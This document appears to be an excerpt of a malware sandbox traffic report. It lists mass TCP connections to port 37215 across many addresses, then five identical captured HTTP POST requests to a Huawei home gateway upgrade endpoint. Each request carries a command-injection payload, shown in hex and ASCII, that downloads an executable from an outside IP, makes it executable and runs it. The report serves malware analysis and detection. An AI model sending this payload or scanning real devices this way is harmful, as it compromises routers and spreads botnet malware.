Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.248.139.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.241.232.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 84.140.130.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.38.231.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.157.205.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.197.187.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.254.81.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.3.135.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.36.127.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.23.195.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.180.192.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 199.16.106.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.110.6.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.94.202.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.176.78.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.115.9.243:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 115.81.202.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.156.186.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.188.118.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 202.124.32.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.1.234.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 191.183.123.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.49.179.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 38.31.73.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.217.22.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 111.7.106.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.150.14.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.177.112.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 211.140.145.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.226.26.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.145.72.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 48.245.221.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 99.115.100.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.100.12.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.79.208.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.210.135.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.136.237.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.13.34.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.94.4.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.19.183.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.246.80.40:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.234.46.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 145.119.67.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.240.68.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.228.180.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.125.201.24:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.106.109.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.75.111.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 187.238.117.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.53.10.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.98.208.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.246.222.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.102.83.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.187.107.11:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.0.64.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.37.47.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 66.12.153.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.46.188.245:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 85.95.6.131:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.43.82.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.177.89.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 185.136.59.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.124.194.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 18.70.218.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.25.46.154:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.199.51.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 76.196.186.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.44.81.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.32.74.84:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 12.213.14.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.254.232.138:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.160.51.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.230.62.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.154.255.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.242.176.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 195.52.133.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.14.170.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.17.206.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.246.126.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 188.230.80.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.161.168.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.131.87.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.11.11.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 53.225.125.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 141.190.251.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.72.158.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.187.129.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.162.118.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.240.187.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.60.88.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.158.230.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 12.110.173.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.139.35.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.203.64.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.19.13.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.198.191.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.0.98.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.20.95.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 159.4.46.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.69.186.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.157.227.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.174.150.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.243.48.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.67.25.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.32.201.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.85.225.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.5.69.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.62.177.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.149.21.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 140.78.15.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.155.254.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.4.151.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.143.75.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.141.118.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.154.31.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.89.14.182:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.132.123.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.156.9.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.37.197.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.95.58.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.48.195.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.174.77.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 114.18.75.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.40.174.32:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 182.78.218.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.109.77.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.156.160.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 114.25.93.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.183.200.166:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.130.91.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.232.141.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.208.234.201:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 68.143.185.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.137.198.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 12.136.161.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.17.180.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.38.27.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.218.245.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.166.5.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.68.201.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.68.45.151:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.227.120.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.22.119.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.19.254.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.29.30.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.71.250.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.190.239.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 150.192.130.131:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.125.253.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.167.160.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 53.164.176.80:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.77.216.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.89.238.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.126.125.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.76.64.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 71.89.79.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.211.244.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.125.183.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.103.188.44:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.235.143.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.119.249.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 41.53.80.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 88.40.53.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.19.121.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.184.188.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.32.252.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.154.100.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.55.82.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 197.54.233.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:41393 -> 157.188.53.223:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
